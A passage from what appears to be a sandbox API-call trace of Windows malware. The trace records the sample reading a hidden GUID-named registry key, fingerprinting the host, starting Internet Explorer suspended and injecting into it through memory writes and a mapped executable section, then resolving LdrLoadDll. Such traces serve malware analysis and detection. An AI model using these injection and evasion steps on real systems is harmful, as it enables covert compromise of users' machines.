hProcess=0xffffffff, lpAddress=0x733f0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x733f0000, AllocationBase=0x733f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.675] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.675] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ede8 [0073.675] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x729d0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x729d0000, AllocationBase=0x729d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.675] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.675] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ede8 [0073.675] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyA") returned 0x7522cc15 [0073.675] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x26fd14 | out: phkResult=0x26fd14*=0x1fc) returned 0x0 [0073.675] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0073.675] RegQueryValueExA (in: hKey=0x1fc, lpValueName="Client", lpReserved=0x0, lpType=0x26fd10, lpData=0x0, lpcbData=0x26fd2c*=0x7737387a | out: lpType=0x26fd10*=0x3, lpData=0x0, lpcbData=0x26fd2c*=0x2c) returned 0x0 [0073.675] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2c) returned 0x278ede8 [0073.676] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0073.676] RegQueryValueExA (in: hKey=0x1fc, lpValueName="Client", lpReserved=0x0, lpType=0x26fd10, lpData=0x278ede8, lpcbData=0x26fd2c*=0x2c | out: lpType=0x26fd10*=0x3, lpData=0x278ede8*, lpcbData=0x26fd2c*=0x2c) returned 0x0 [0073.676] GetProcAddress (hModule=0x75220000, lpProcName="RegCloseKey") returned 0x7523469d [0073.676] RegCloseKey (hKey=0x1fc) returned 0x0 [0073.676] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0073.676] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x26fcf8 | out: phkResult=0x26fcf8*=0x0) returned 0x2 [0073.676] GetProcAddress (hModule=0x75220000, lpProcName="RegCreateKeyA") returned 0x7522cd01 [0073.676] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x26fd3c | out: phkResult=0x26fd3c*=0x1fc) returned 0x0 [0073.676] RegQueryValueExA (in: hKey=0x1fc, lpValueName="Client", lpReserved=0x0, lpType=0x26fd34, lpData=0x4c8880, lpcbData=0x26fd40*=0x2c | out: lpType=0x26fd34*=0x3, lpData=0x4c8880*, lpcbData=0x26fd40*=0x2c) returned 0x0 [0073.676] RegCloseKey (hKey=0x1fc) returned 0x0 [0073.676] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x27) returned 0x278f298 [0073.676] wsprintfA (in: param_1=0x278f298, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0073.676] GetComputerNameA (in: lpBuffer=0x26fc2c, nSize=0x26fd40 | out: lpBuffer="YKYD69Q", nSize=0x26fd40) returned 1 [0073.677] lstrlenA (lpString="YKYD69Q") returned 7 [0073.677] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x26fd38 | out: phkResult=0x26fd38*=0x1fc) returned 0x0 [0073.677] RegQueryValueExA (in: hKey=0x1fc, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x26fc2c, lpcbData=0x26fd40*=0x100 | out: lpType=0x0, lpData=0x26fc2c*=0x30, lpcbData=0x26fd40*=0x18) returned 0x0 [0073.677] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0073.677] RegQueryValueExA (in: hKey=0x1fc, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x26fc2c, lpcbData=0x26fd40*=0x100 | out: lpType=0x0, lpData=0x26fc2c*=0x57, lpcbData=0x26fd40*=0x17) returned 0x0 [0073.677] lstrlenA (lpString="Windows 7 Professional") returned 22 [0073.677] RegQueryValueExA (in: hKey=0x1fc, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x26fc2c, lpcbData=0x26fd40*=0x100 | out: lpType=0x0, lpData=0x26fc2c*=0x36, lpcbData=0x26fd40*=0x4) returned 0x0 [0073.677] lstrlenA (lpString="6.1") returned 3 [0073.677] RegQueryValueExA (in: hKey=0x1fc, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x26fd30, lpcbData=0x26fd40*=0x4 | out: lpType=0x0, lpData=0x26fd30*=0x8a, lpcbData=0x26fd40*=0x4) returned 0x0 [0073.677] RegCloseKey (hKey=0x1fc) returned 0x0 [0073.677] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x26fd2c, lpMaximumComponentLength=0x26fd40, lpFileSystemFlags=0x26fd34, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x26fd2c*=0x705ba84c, lpMaximumComponentLength=0x26fd40*=0xff, lpFileSystemFlags=0x26fd34*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0073.678] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1c) returned 0x278f2c8 [0073.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x484e68, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x26fd58 | out: lpThreadId=0x26fd58*=0xb9c) returned 0x1fc [0073.679] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x26fd20 | out: phkResult=0x26fd20*=0x200) returned 0x0 [0073.679] RegQueryValueExA (in: hKey=0x200, lpValueName="Scr", lpReserved=0x0, lpType=0x26fd1c, lpData=0x0, lpcbData=0x26fd40*=0x0 | out: lpType=0x26fd1c*=0x0, lpData=0x0, lpcbData=0x26fd40*=0x0) returned 0x2 [0073.679] RegCloseKey (hKey=0x200) returned 0x0 [0073.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x475e0d, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x26fd58 | out: lpThreadId=0x26fd58*=0xba0) returned 0x200 [0081.452] CreateProcessAsUserW (in: hToken=0x5d8, lpApplicationName=0x0, lpCommandLine="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" SCODEF:2900 CREDAT:14337", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26d230*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26d274 | out: lpCommandLine="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" SCODEF:2900 CREDAT:14337", lpProcessInformation=0x26d274*(hProcess=0x5e4, hThread=0x5e0, dwProcessId=0x130, dwThreadId=0x7d8)) returned 1 [0081.457] StrStrIW (lpFirst="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" SCODEF:2900 CREDAT:14337", lpSrch=" --type=renderer") returned 0x0 [0081.457] IsWow64Process (in: hProcess=0x5e4, Wow64Process=0x26ced0 | out: Wow64Process=0x26ced0) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1000) returned 0x278d658 [0081.457] NtQueryInformationProcess (in: ProcessHandle=0x5e4, ProcessInformationClass=0x0, ProcessInformation=0x26ce74, ProcessInformationLength=0x18, ReturnLength=0x26ce8c | out: ProcessInformation=0x26ce74, ReturnLength=0x26ce8c) returned 0x0 [0081.457] NtReadVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0x7efde000, Buffer=0x26cc88, NumberOfBytesToRead=0x1e8, NumberOfBytesRead=0x26ce8c | out: Buffer=0x26cc88*, NumberOfBytesRead=0x26ce8c*=0x1e8) returned 0x0 [0081.457] NtReadVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0xd60000, Buffer=0x278d658, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x26ceb0 | out: Buffer=0x278d658*, NumberOfBytesRead=0x26ceb0*=0x1000) returned 0x0 [0081.458] NtReadVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0xd600f8, Buffer=0x278d658, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x26ceb0 | out: Buffer=0x278d658*, NumberOfBytesRead=0x26ceb0*=0x1000) returned 0x0 [0081.458] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278d658 | out: hHeap=0x2390000) returned 1 [0081.458] NtReadVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0xd61c9a, Buffer=0x26d1c0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x26d1bc | out: Buffer=0x26d1c0*, NumberOfBytesRead=0x26d1bc*=0x4) returned 0x0 [0081.458] VirtualProtectEx (in: hProcess=0x5e4, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26cec8 | out: lpflOldProtect=0x26cec8*=0x20) returned 1 [0081.490] NtWriteVirtualMemory (in: ProcessHandle=0x5e4, BaseAddress=0xd61c9a, Buffer=0x26d1c8*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x26cec4 | out: Buffer=0x26d1c8*, NumberOfBytesWritten=0x26cec4*=0x4) returned 0x0 [0081.490] VirtualProtectEx (in: hProcess=0x5e4, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26cec8 | out: lpflOldProtect=0x26cec8*=0x40) returned 1 [0081.491] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.491] GetProcAddress (hModule=0x769e0000, lpProcName="ResumeThread") returned 0x769f43ef [0081.491] ResumeThread (hThread=0x5e0) returned 0x1 [0081.491] Sleep (dwMilliseconds=0x64) [0081.637] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.637] GetProcAddress (hModule=0x769e0000, lpProcName="SuspendThread") returned 0x76a17d7e [0081.637] SuspendThread (hThread=0x5e0) returned 0x0 [0081.637] NtGetContextThread (in: ThreadHandle=0x5e0, Context=0x26ceec | out: Context=0x26ceec*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0xd61c9a, Ecx=0x0, Eax=0x769f33b8, Ebp=0x37fe9c, Eip=0xd61c9a, SegCs=0x23, EFlags=0x246, Esp=0x37fe94, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0081.638] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.638] NtCreateSection (in: SectionHandle=0x26ce94, DesiredAccess=0xf001f, ObjectAttributes=0x26ce58*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x26ce70, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x26ce94*=0x5ec) returned 0x0 [0081.638] NtMapViewOfSection (in: SectionHandle=0x5ec, ProcessHandle=0xffffffff, BaseAddress=0x26ce7c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x26ce28*=0, ViewSize=0x26ce30*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x26ce7c*=0x5860000, SectionOffset=0x26ce28*=0, ViewSize=0x26ce30*=0x128000) returned 0x0 [0081.638] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.671] NtMapViewOfSection (in: SectionHandle=0x5ec, ProcessHandle=0x5e4, BaseAddress=0x26ceac*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x26ce78*=0, ViewSize=0x26ce80*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x26ceac*=0x3f0000, SectionOffset=0x26ce78*=0, ViewSize=0x26ce80*=0x128000) returned 0x0 [0081.671] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0081.680] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0081.680] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x208) returned 0x278f2f0 [0081.680] GetModuleFileNameA (in: hModule=0x77340000, lpFilename=0x278f2f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0081.680] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0081.680] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0081.681] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0081.683] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0081.684] lstrcmpA (lpString1="EtwEventProviderEnabled", 